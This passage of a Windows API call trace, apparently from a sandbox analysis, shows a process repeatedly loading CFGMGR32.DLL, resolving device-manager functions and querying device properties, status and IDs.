(hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.095] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0229.095] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.095] malloc (_Size=0x48) returned 0x196ef0fba90 [0229.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6968d7df, dwHighDateTime=0x1d9eb0c)) [0229.095] SetEvent (hEvent=0x248) returned 1 [0229.099] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.099] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.102] malloc (_Size=0x18) returned 0x196ef0d1b60 [0229.102] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.103] malloc (_Size=0x48) returned 0x196ef0fb220 [0229.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6968d7df, dwHighDateTime=0x1d9eb0c)) [0229.103] SetEvent (hEvent=0x248) returned 1 [0229.106] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.106] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.109] malloc (_Size=0x18) returned 0x196ef0d1960 [0229.110] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.110] malloc (_Size=0x48) returned 0x196ef0fb680 [0229.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x696b3939, dwHighDateTime=0x1d9eb0c)) [0229.110] SetEvent (hEvent=0x248) returned 1 [0229.115] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.115] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.118] malloc (_Size=0x18) returned 0x196ef0d20a0 [0229.118] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.122] malloc (_Size=0x48) returned 0x196ef0fbae0 [0229.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x696b3939, dwHighDateTime=0x1d9eb0c)) [0229.122] SetEvent (hEvent=0x248) returned 1 [0229.175] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.176] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.179] malloc (_Size=0x18) returned 0x196ef0d1be0 [0229.179] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2e, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0229.179] malloc (_Size=0x48) returned 0x196ef0fbb80 [0229.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6974c1cb, dwHighDateTime=0x1d9eb0c)) [0229.179] SetEvent (hEvent=0x248) returned 1 [0229.184] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.184] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.186] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.187] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.187] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0229.187] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2e, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0229.187] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0229.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6974c1cb, dwHighDateTime=0x1d9eb0c)) [0229.188] SetEvent (hEvent=0x248) returned 1 [0229.191] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.191] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.194] malloc (_Size=0x18) returned 0x196ef0d1a40 [0229.194] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0229.194] malloc (_Size=0x48) returned 0x196ef0fb680 [0229.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x697724bc, dwHighDateTime=0x1d9eb0c)) [0229.195] SetEvent (hEvent=0x248) returned 1 [0229.200] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.200] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.204] malloc (_Size=0x18) returned 0x196ef0d1c40 [0229.204] CM_Get_Device_IDA (in: dnDevInst=0x2f, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\FIXEDBUTTON\\2&DABA3FF&0") returned 0x0 [0229.204] malloc (_Size=0x48) returned 0x196ef0fc080 [0229.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x69798644, dwHighDateTime=0x1d9eb0c)) [0229.204] SetEvent (hEvent=0x248) returned 1 [0229.207] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.207] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.210] GetProcAddress 